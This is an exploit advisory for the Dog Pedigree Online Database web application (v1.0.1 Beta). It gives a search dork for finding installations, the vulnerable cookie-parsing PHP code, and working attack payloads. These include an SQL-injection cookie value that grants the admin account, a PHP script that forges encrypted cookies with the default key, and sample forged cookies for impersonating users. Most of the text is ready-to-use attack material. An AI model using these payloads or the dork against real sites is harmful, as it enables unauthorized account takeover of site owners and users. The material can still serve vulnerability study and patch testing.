INSECURE COOKIE HANDLING VULNERABILITIES --Dog Pedigree Online Database v1.0.1-Beta-->

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INSECURE COOKIE HANDLING VULNERABILITIES --Dog Pedigree Online Database v1.0.1-Beta–>

CMS INFORMATION:

–>WEB: http://thewhippetarchives.net/twa_is_offline.php
–>DOWNLOAD: http://sourceforge.net/projects/dogarchive
–>DEMO: N/A
–>CATEGORY: Genealogy
–>DESCRIPTION: This project allows to setup and maintain a database for
collecting (dog) pedigrees. The data will actually be collected…
–>RELEASED: 2009-01-25

CMS VULNERABILITY:

–>TESTED ON: firefox 3
–>DORK: inurl:"printable_pedigree.php"
–>CATEGORY: COOKIE AUTH-BYPASS (SQLi) / INSECURE COOKIE HANDLING
–>AFFECT VERSION: <= 1.0.1 Beta
–>Discovered Bug date: 2009-05-08
–>Reported Bug date: 2009-05-08
–>Fixed bug date: 2009-05-12
–>Info patch (v1.0.2): http://sourceforge.net/projects/dogarchive/
–>Author: YEnH4ckEr
–>mail: y3nh4ck3r[at]gmail[dot]com
–>WEB/BLOG: N/A
–>COMMENT: A mi novia Marijose…hermano,cunyada, padres (y amigos xD) por su apoyo.
–>EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)

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INTRO:

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Cookie name –> it could be configured, but any web change it.

Cookie protection –> Active by default, but some Webs use it and other neither (Because it
needs php_mcrypt extension).

With cookie protection –> Any web change the $COOKIE_KEY value. Always by default

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COOKIE AUTH-BYPASS (SQLi):

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VULN FILE:

Path –> [HOME_PATH]/php_users/htdocs/
File –> users.php.inc
Vuln function –> init()

function init() {

…

$cookie = $_COOKIE[$USER_COOKIE];
if (isset($COOKIE_KEY)) {
    $iv = mcrypt_create_iv(mcrypt_get_iv_size (MCRYPT_BLOWFISH, MCRYPT_MODE_ECB),

MCRYPT_RAND);
$cookie = mcrypt_decrypt(MCRYPT_BLOWFISH, $COOKIE_KEY, base64_decode($cookie),
MCRYPT_MODE_ECB, $iv);
}
$cookie = rtrim($cookie);
$a = split('&', $cookie);
$i = 0;
while ($i < count($a)) {
$b = split ('=', $a[$i]);
$key = urldecode($b[0]);
$value = urldecode($b[1]);
$this->{$key} = $value;
$i++;
}
$this->id = $this->{'uid'};
}

…

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EXPLOIT:

1.-WITHOUT ENCRYPTION:

Add cookie –> Name ~> dogarchive_user_info

       --> Value ~> email=&uid=-1%20or%201=1#&seclev=

2.-WITH ENCRYPTION:

Add cookie –> Name ~> dogarchive_user_info

       --> Value ~> Ffq9xizFlqX%2FLFytv2XsUILuolhabq3%2BN5A0%2B3ifmNdjLEIqh%2BKIXA%3D%3D

Return –> Admin account.

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INSECURE COOKIE HANDLING:

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<<<<-------+++++++++ Condition: Search e-mail and uid (it's not difficult)
+++++++++±-------->>>>

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NOTE:

Use an cookie builder (need php_mcrypt extension)
to encrypt the cookie value:

<?php

//Configure [real_email] and [real_uid] with your target

$COOKIE_KEY="somethingRAndoM9871234whateveryoulike"; //user.conf by default
$cookie="email=".urlencode('[real_email]')."&uid=[real_uid]&seclev=1";
$iv = mcrypt_create_iv(mcrypt_get_iv_size (MCRYPT_BLOWFISH, MCRYPT_MODE_ECB), MCRYPT_RAND);
$cookie = base64_encode(mcrypt_encrypt (MCRYPT_BLOWFISH, $COOKIE_KEY, $cookie, MCRYPT_MODE_ECB,
$iv));
print "Cookie crypted-urlencode –>".urlencode($cookie)."\n";

?>

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PoC:

1.-WITHOUT ENCRYPTION:

Add cookie –> Name ~> dogarchive_user_info

       --> Value ~> email=[real_email]&uid=[real_uid]&seclev=1

2.-WITH ENCRYPTION:

Add cookie –> Name ~> dogarchive_user_info

       --> Value ~> Use PHP script above

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EXPLOIT:

1.-WITHOUT ENCRYPTION:

Add cookie –> Name ~> dogarchive_user_info

       --> Value ~> [email protected]&uid=2422&seclev=1

2.-WITH ENCRYPTION:

Add cookie –> Name ~> dogarchive_user_info

       --> Value ~> 7O%2By0gnSt4KItondpdwQThDciQY6aR3QfFGEvZQzUGQWNkYwIUI4lfiZ1WQgnEc%2B

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SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k, J. McCray …

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GREETZ TO: SPANISH H4ck3Rs community!

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